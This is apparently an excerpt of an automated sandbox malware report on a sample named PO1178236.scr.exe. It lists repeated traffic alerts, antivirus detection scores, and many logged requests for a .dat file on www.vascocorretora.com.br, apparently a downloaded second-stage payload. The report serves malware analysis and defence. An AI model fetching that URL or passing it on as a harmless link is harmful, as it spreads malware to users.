2025-01-09T08:30:50.499184+0100	2803305	3	Unknown Traffic	192.168.2.4	50249	188.114.96.3	443	TCP
2025-01-09T08:30:51.130948+0100	2803305	3	Unknown Traffic	192.168.2.4	50250	188.114.96.3	443	TCP
2025-01-09T08:30:51.724071+0100	2803305	3	Unknown Traffic	192.168.2.4	50251	188.114.96.3	443	TCP
2025-01-09T08:30:52.345004+0100	2803305	3	Unknown Traffic	192.168.2.4	50252	188.114.96.3	443	TCP
2025-01-09T08:30:52.935810+0100	2803305	3	Unknown Traffic	192.168.2.4	50253	188.114.96.3	443	TCP
2025-01-09T08:30:54.294656+0100	2803305	3	Unknown Traffic	192.168.2.4	50254	188.114.96.3	443	TCP
2025-01-09T08:30:54.944038+0100	2803305	3	Unknown Traffic	192.168.2.4	50255	188.114.96.3	443	TCP
2025-01-09T08:30:55.576565+0100	2803305	3	Unknown Traffic	192.168.2.4	50256	188.114.96.3	443	TCP
2025-01-09T08:30:56.345411+0100	2803305	3	Unknown Traffic	192.168.2.4	50257	188.114.96.3	443	TCP
2025-01-09T08:30:56.983557+0100	2803305	3	Unknown Traffic	192.168.2.4	50258	188.114.96.3	443	TCP
2025-01-09T08:30:57.577787+0100	2803305	3	Unknown Traffic	192.168.2.4	50259	188.114.96.3	443	TCP
2025-01-09T08:30:58.301027+0100	2803305	3	Unknown Traffic	192.168.2.4	50260	188.114.96.3	443	TCP
2025-01-09T08:30:58.984863+0100	2803305	3	Unknown Traffic	192.168.2.4	50261	188.114.96.3	443	TCP
2025-01-09T08:30:59.594474+0100	2803305	3	Unknown Traffic	192.168.2.4	50262	188.114.96.3	443	TCP
2025-01-09T08:31:00.229375+0100	2803305	3	Unknown Traffic	192.168.2.4	50263	188.114.96.3	443	TCP
2025-01-09T08:31:00.826089+0100	2803305	3	Unknown Traffic	192.168.2.4	50264	188.114.96.3	443	TCP
2025-01-09T08:31:01.423968+0100	2803305	3	Unknown Traffic	192.168.2.4	50265	188.114.96.3	443	TCP
2025-01-09T08:31:02.014349+0100	2803305	3	Unknown Traffic	192.168.2.4	50266	188.114.96.3	443	TCP
2025-01-09T08:31:02.652330+0100	2803305	3	Unknown Traffic	192.168.2.4	50267	188.114.96.3	443	TCP
2025-01-09T08:31:03.232038+0100	2803305	3	Unknown Traffic	192.168.2.4	50268	188.114.96.3	443	TCP
2025-01-09T08:31:03.829176+0100	2803305	3	Unknown Traffic	192.168.2.4	50269	188.114.96.3	443	TCP
2025-01-09T08:31:04.449803+0100	2803305	3	Unknown Traffic	192.168.2.4	50270	188.114.96.3	443	TCP
2025-01-09T08:31:05.044660+0100	2803305	3	Unknown Traffic	192.168.2.4	50271	188.114.96.3	443	TCP
2025-01-09T08:31:05.677489+0100	2803305	3	Unknown Traffic	192.168.2.4	50272	188.114.96.3	443	TCP
2025-01-09T08:31:06.451103+0100	2803305	3	Unknown Traffic	192.168.2.4	50273	188.114.96.3	443	TCP
2025-01-09T08:31:07.081964+0100	2803305	3	Unknown Traffic	192.168.2.4	50274	188.114.96.3	443	TCP
2025-01-09T08:31:07.777086+0100	2803305	3	Unknown Traffic	192.168.2.4	50275	188.114.96.3	443	TCP
2025-01-09T08:31:08.426211+0100	2803305	3	Unknown Traffic	192.168.2.4	50276	188.114.96.3	443	TCP
2025-01-09T08:31:09.141047+0100	2803305	3	Unknown Traffic	192.168.2.4	50277	188.114.96.3	443	TCP
2025-01-09T08:31:09.735872+0100	2803305	3	Unknown Traffic	192.168.2.4	50278	188.114.96.3	443	TCP
2025-01-09T08:31:10.347453+0100	2803305	3	Unknown Traffic	192.168.2.4	50279	188.114.96.3	443	TCP
2025-01-09T08:31:10.990142+0100	2803305	3	Unknown Traffic	192.168.2.4	50280	188.114.96.3	443	TCP
2025-01-09T08:31:11.645471+0100	2803305	3	Unknown Traffic	192.168.2.4	50281	188.114.96.3	443	TCP
2025-01-09T08:31:12.253242+0100	2803305	3	Unknown Traffic	192.168.2.4	50282	188.114.96.3	443	TCP
2025-01-09T08:31:12.879028+0100	2803305	3	Unknown Traffic	192.168.2.4	50283	188.114.96.3	443	TCP
2025-01-09T08:31:13.487917+0100	2803305	3	Unknown Traffic	192.168.2.4	50284	188.114.96.3	443	TCP
2025-01-09T08:31:14.098339+0100	2803305	3	Unknown Traffic	192.168.2.4	50285	188.114.96.3	443	TCP
2025-01-09T08:31:14.703409+0100	2803305	3	Unknown Traffic	192.168.2.4	50286	188.114.96.3	443	TCP
2025-01-09T08:31:15.333394+0100	2803305	3	Unknown Traffic	192.168.2.4	50287	188.114.96.3	443	TCP
2025-01-09T08:31:15.921337+0100	2803305	3	Unknown Traffic	192.168.2.4	50288	188.114.96.3	443	TCP
2025-01-09T08:31:16.510456+0100	2803305	3	Unknown Traffic	192.168.2.4	50289	188.114.96.3	443	TCP
2025-01-09T08:31:17.094211+0100	2803305	3	Unknown Traffic	192.168.2.4	50290	188.114.96.3	443	TCP
2025-01-09T08:31:17.749942+0100	2803305	3	Unknown Traffic	192.168.2.4	50291	188.114.96.3	443	TCP
2025-01-09T08:31:18.361083+0100	2803305	3	Unknown Traffic	192.168.2.4	50292	188.114.96.3	443	TCP
2025-01-09T08:31:18.973014+0100	2803305	3	Unknown Traffic	192.168.2.4	50293	188.114.96.3	443	TCP
2025-01-09T08:31:19.564082+0100	2803305	3	Unknown Traffic	192.168.2.4	50294	188.114.96.3	443	TCP
2025-01-09T08:31:20.175443+0100	2803305	3	Unknown Traffic	192.168.2.4	50295	188.114.96.3	443	TCP
2025-01-09T08:31:20.798151+0100	2803305	3	Unknown Traffic	192.168.2.4	50296	188.114.96.3	443	TCP
2025-01-09T08:31:21.405196+0100	2803305	3	Unknown Traffic	192.168.2.4	50297	188.114.96.3	443	TCP
2025-01-09T08:31:21.983282+0100	2803305	3	Unknown Traffic	192.168.2.4	50298	188.114.96.3	443	TCP
2025-01-09T08:31:22.626220+0100	2803305	3	Unknown Traffic	192.168.2.4	50299	188.114.96.3	443	TCP
2025-01-09T08:31:23.414415+0100	2803305	3	Unknown Traffic	192.168.2.4	50300	188.114.96.3	443	TCP
2025-01-09T08:31:24.022184+0100	2803305	3	Unknown Traffic	192.168.2.4	50301	188.114.96.3	443	TCP
2025-01-09T08:31:24.644842+0100	2803305	3	Unknown Traffic	192.168.2.4	50302	188.114.96.3	443	TCP
2025-01-09T08:31:25.315248+0100	2803305	3	Unknown Traffic	192.168.2.4	50303	188.114.96.3	443	TCP
2025-01-09T08:31:25.954086+0100	2803305	3	Unknown Traffic	192.168.2.4	50304	188.114.96.3	443	TCP
2025-01-09T08:31:26.581465+0100	2803305	3	Unknown Traffic	192.168.2.4	50305	188.114.96.3	443	TCP
2025-01-09T08:31:27.173262+0100	2803305	3	Unknown Traffic	192.168.2.4	50306	188.114.96.3	443	TCP
2025-01-09T08:31:27.774015+0100	2803305	3	Unknown Traffic	192.168.2.4	50307	188.114.96.3	443	TCP
2025-01-09T08:31:28.412238+0100	2803305	3	Unknown Traffic	192.168.2.4	50308	188.114.96.3	443	TCP
2025-01-09T08:31:29.020320+0100	2803305	3	Unknown Traffic	192.168.2.4	50309	188.114.96.3	443	TCP
2025-01-09T08:31:29.644598+0100	2803305	3	Unknown Traffic	192.168.2.4	50311	188.114.96.3	443	TCP
2025-01-09T08:31:30.452034+0100	2803305	3	Unknown Traffic	192.168.2.4	50312	188.114.96.3	443	TCP
2025-01-09T08:31:31.072793+0100	2803305	3	Unknown Traffic	192.168.2.4	50313	188.114.96.3	443	TCP
2025-01-09T08:31:31.672686+0100	2803305	3	Unknown Traffic	192.168.2.4	50314	188.114.96.3	443	TCP
2025-01-09T08:31:32.287829+0100	2803305	3	Unknown Traffic	192.168.2.4	50315	188.114.96.3	443	TCP
2025-01-09T08:31:32.944442+0100	2803305	3	Unknown Traffic	192.168.2.4	50316	188.114.96.3	443	TCP
2025-01-09T08:31:33.530977+0100	2803305	3	Unknown Traffic	192.168.2.4	50317	188.114.96.3	443	TCP
2025-01-09T08:31:34.147391+0100	2803305	3	Unknown Traffic	192.168.2.4	50318	188.114.96.3	443	TCP
2025-01-09T08:31:34.786992+0100	2803305	3	Unknown Traffic	192.168.2.4	50319	188.114.96.3	443	TCP
2025-01-09T08:31:35.646779+0100	2803305	3	Unknown Traffic	192.168.2.4	50321	188.114.96.3	443	TCP
2025-01-09T08:31:36.237844+0100	2803305	3	Unknown Traffic	192.168.2.4	50322	188.114.96.3	443	TCP
2025-01-09T08:31:36.880253+0100	2803305	3	Unknown Traffic	192.168.2.4	50323	188.114.96.3	443	TCP
2025-01-09T08:31:37.461378+0100	2803305	3	Unknown Traffic	192.168.2.4	50324	188.114.96.3	443	TCP
2025-01-09T08:31:38.053693+0100	2803305	3	Unknown Traffic	192.168.2.4	50325	188.114.96.3	443	TCP
2025-01-09T08:31:38.648733+0100	2803305	3	Unknown Traffic	192.168.2.4	50326	188.114.96.3	443	TCP
2025-01-09T08:31:39.248920+0100	2803305	3	Unknown Traffic	192.168.2.4	50327	188.114.96.3	443	TCP
2025-01-09T08:31:39.967000+0100	2803305	3	Unknown Traffic	192.168.2.4	50328	188.114.96.3	443	TCP
2025-01-09T08:31:40.550157+0100	2803305	3	Unknown Traffic	192.168.2.4	50329	188.114.96.3	443	TCP
2025-01-09T08:31:41.165719+0100	2803305	3	Unknown Traffic	192.168.2.4	50330	188.114.96.3	443	TCP
2025-01-09T08:31:41.787577+0100	2803305	3	Unknown Traffic	192.168.2.4	50331	188.114.96.3	443	TCP
2025-01-09T08:31:42.383677+0100	2803305	3	Unknown Traffic	192.168.2.4	50332	188.114.96.3	443	TCP
2025-01-09T08:31:43.000658+0100	2803305	3	Unknown Traffic	192.168.2.4	50333	188.114.96.3	443	TCP
2025-01-09T08:31:43.600897+0100	2803305	3	Unknown Traffic	192.168.2.4	50334	188.114.96.3	443	TCP
2025-01-09T08:31:44.227196+0100	2803305	3	Unknown Traffic	192.168.2.4	50335	188.114.96.3	443	TCP
2025-01-09T08:31:44.842265+0100	2803305	3	Unknown Traffic	192.168.2.4	50336	188.114.96.3	443	TCP
2025-01-09T08:31:45.472028+0100	2803305	3	Unknown Traffic	192.168.2.4	50337	188.114.96.3	443	TCP
2025-01-09T08:31:46.086631+0100	2803305	3	Unknown Traffic	192.168.2.4	50338	188.114.96.3	443	TCP
2025-01-09T08:31:46.675690+0100	2803305	3	Unknown Traffic	192.168.2.4	50339	188.114.96.3	443	TCP
2025-01-09T08:31:47.292043+0100	2803305	3	Unknown Traffic	192.168.2.4	50340	188.114.96.3	443	TCP
2025-01-09T08:31:47.919217+0100	2803305	3	Unknown Traffic	192.168.2.4	50341	188.114.96.3	443	TCP
2025-01-09T08:31:48.504179+0100	2803305	3	Unknown Traffic	192.168.2.4	50342	188.114.96.3	443	TCP
2025-01-09T08:31:49.102554+0100	2803305	3	Unknown Traffic	192.168.2.4	50343	188.114.96.3	443	TCP
2025-01-09T08:31:49.713153+0100	2803305	3	Unknown Traffic	192.168.2.4	50344	188.114.96.3	443	TCP
2025-01-09T08:31:50.460693+0100	2803305	3	Unknown Traffic	192.168.2.4	50346	188.114.96.3	443	TCP
2025-01-09T08:31:51.051607+0100	2803305	3	Unknown Traffic	192.168.2.4	50347	188.114.96.3	443	TCP
2025-01-09T08:31:51.695397+0100	2803305	3	Unknown Traffic	192.168.2.4	50348	188.114.96.3	443	TCP
2025-01-09T08:31:52.306409+0100	2803305	3	Unknown Traffic	192.168.2.4	50349	188.114.96.3	443	TCP
2025-01-09T08:31:52.899489+0100	2803305	3	Unknown Traffic	192.168.2.4	50350	188.114.96.3	443	TCP
2025-01-09T08:31:53.513088+0100	2803305	3	Unknown Traffic	192.168.2.4	50351	188.114.96.3	443	TCP
2025-01-09T08:31:54.141359+0100	2803305	3	Unknown Traffic	192.168.2.4	50352	188.114.96.3	443	TCP
2025-01-09T08:31:54.723858+0100	2803305	3	Unknown Traffic	192.168.2.4	50353	188.114.96.3	443	TCP
2025-01-09T08:31:55.310092+0100	2803305	3	Unknown Traffic	192.168.2.4	50354	188.114.96.3	443	TCP
2025-01-09T08:31:55.905532+0100	2803305	3	Unknown Traffic	192.168.2.4	50355	188.114.96.3	443	TCP
2025-01-09T08:31:56.480838+0100	2803305	3	Unknown Traffic	192.168.2.4	50356	188.114.96.3	443	TCP
2025-01-09T08:31:57.079113+0100	2803305	3	Unknown Traffic	192.168.2.4	50357	188.114.96.3	443	TCP
2025-01-09T08:31:57.685922+0100	2803305	3	Unknown Traffic	192.168.2.4	50358	188.114.96.3	443	TCP
2025-01-09T08:31:58.281263+0100	2803305	3	Unknown Traffic	192.168.2.4	50359	188.114.96.3	443	TCP
2025-01-09T08:31:58.911163+0100	2803305	3	Unknown Traffic	192.168.2.4	50360	188.114.96.3	443	TCP
2025-01-09T08:31:59.531661+0100	2803305	3	Unknown Traffic	192.168.2.4	50361	188.114.96.3	443	TCP
2025-01-09T08:32:00.138479+0100	2803305	3	Unknown Traffic	192.168.2.4	50362	188.114.96.3	443	TCP
2025-01-09T08:32:00.750767+0100	2803305	3	Unknown Traffic	192.168.2.4	50363	188.114.96.3	443	TCP
2025-01-09T08:32:01.340395+0100	2803305	3	Unknown Traffic	192.168.2.4	50364	188.114.96.3	443	TCP
2025-01-09T08:32:01.939725+0100	2803305	3	Unknown Traffic	192.168.2.4	50365	188.114.96.3	443	TCP
2025-01-09T08:32:02.583350+0100	2803305	3	Unknown Traffic	192.168.2.4	50366	188.114.96.3	443	TCP
2025-01-09T08:32:03.190707+0100	2803305	3	Unknown Traffic	192.168.2.4	50367	188.114.96.3	443	TCP
2025-01-09T08:32:03.779049+0100	2803305	3	Unknown Traffic	192.168.2.4	50368	188.114.96.3	443	TCP
2025-01-09T08:32:04.423341+0100	2803305	3	Unknown Traffic	192.168.2.4	50369	188.114.96.3	443	TCP
2025-01-09T08:32:05.102406+0100	2803305	3	Unknown Traffic	192.168.2.4	50370	188.114.96.3	443	TCP
2025-01-09T08:32:05.753776+0100	2803305	3	Unknown Traffic	192.168.2.4	50371	188.114.96.3	443	TCP
2025-01-09T08:32:06.482284+0100	2803305	3	Unknown Traffic	192.168.2.4	50372	188.114.96.3	443	TCP
2025-01-09T08:32:07.080302+0100	2803305	3	Unknown Traffic	192.168.2.4	50373	188.114.96.3	443	TCP
2025-01-09T08:32:07.706413+0100	2803305	3	Unknown Traffic	192.168.2.4	50374	188.114.96.3	443	TCP
2025-01-09T08:32:08.310792+0100	2803305	3	Unknown Traffic	192.168.2.4	50375	188.114.96.3	443	TCP
2025-01-09T08:32:08.896608+0100	2803305	3	Unknown Traffic	192.168.2.4	50376	188.114.96.3	443	TCP
2025-01-09T08:32:09.486830+0100	2803305	3	Unknown Traffic	192.168.2.4	50377	188.114.96.3	443	TCP
2025-01-09T08:32:10.243117+0100	2803305	3	Unknown Traffic	192.168.2.4	50378	188.114.96.3	443	TCP
2025-01-09T08:32:10.862068+0100	2803305	3	Unknown Traffic	192.168.2.4	50379	188.114.96.3	443	TCP
2025-01-09T08:32:11.469563+0100	2803305	3	Unknown Traffic	192.168.2.4	50380	188.114.96.3	443	TCP
2025-01-09T08:32:12.415002+0100	2803305	3	Unknown Traffic	192.168.2.4	50382	188.114.96.3	443	TCP
2025-01-09T08:32:13.027520+0100	2803305	3	Unknown Traffic	192.168.2.4	50383	188.114.96.3	443	TCP
2025-01-09T08:32:13.608078+0100	2803305	3	Unknown Traffic	192.168.2.4	50384	188.114.96.3	443	TCP
2025-01-09T08:32:14.226947+0100	2803305	3	Unknown Traffic	192.168.2.4	50385	188.114.96.3	443	TCP
2025-01-09T08:32:14.848995+0100	2803305	3	Unknown Traffic	192.168.2.4	50386	188.114.96.3	443	TCP
2025-01-09T08:32:15.455769+0100	2803305	3	Unknown Traffic	192.168.2.4	50387	188.114.96.3	443	TCP
2025-01-09T08:32:16.095986+0100	2803305	3	Unknown Traffic	192.168.2.4	50388	188.114.96.3	443	TCP
2025-01-09T08:32:16.685665+0100	2803305	3	Unknown Traffic	192.168.2.4	50389	188.114.96.3	443	TCP
2025-01-09T08:32:17.290570+0100	2803305	3	Unknown Traffic	192.168.2.4	50390	188.114.96.3	443	TCP
2025-01-09T08:32:17.952543+0100	2803305	3	Unknown Traffic	192.168.2.4	50391	188.114.96.3	443	TCP
2025-01-09T08:32:18.576043+0100	2803305	3	Unknown Traffic	192.168.2.4	50392	188.114.96.3	443	TCP
2025-01-09T08:32:19.210381+0100	2803305	3	Unknown Traffic	192.168.2.4	50393	188.114.96.3	443	TCP
2025-01-09T08:32:19.838768+0100	2803305	3	Unknown Traffic	192.168.2.4	50394	188.114.96.3	443	TCP
2025-01-09T08:32:20.474746+0100	2803305	3	Unknown Traffic	192.168.2.4	50395	188.114.96.3	443	TCP
2025-01-09T08:32:21.101418+0100	2803305	3	Unknown Traffic	192.168.2.4	50396	188.114.96.3	443	TCP
2025-01-09T08:32:21.722496+0100	2803305	3	Unknown Traffic	192.168.2.4	50397	188.114.96.3	443	TCP
2025-01-09T08:32:22.345414+0100	2803305	3	Unknown Traffic	192.168.2.4	50398	188.114.96.3	443	TCP
2025-01-09T08:32:22.958741+0100	2803305	3	Unknown Traffic	192.168.2.4	50399	188.114.96.3	443	TCP
2025-01-09T08:32:23.563867+0100	2803305	3	Unknown Traffic	192.168.2.4	50400	188.114.96.3	443	TCP
2025-01-09T08:32:24.174382+0100	2803305	3	Unknown Traffic	192.168.2.4	50401	188.114.96.3	443	TCP
2025-01-09T08:32:24.765675+0100	2803305	3	Unknown Traffic	192.168.2.4	50402	188.114.96.3	443	TCP
2025-01-09T08:32:26.326966+0100	2803305	3	Unknown Traffic	192.168.2.4	50404	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: PO1178236.scr.exe	Virustotal: Detection: 59%			Perma Link
Source: PO1178236.scr.exe	ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: PO1178236.scr.exe

Joe Sandbox ML: detected

Source: PO1178236.scr.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50179 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50229 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50311 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50321 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50346 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50378 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50382 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:50404 version: TLS 1.2

Source: PO1178236.scr.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
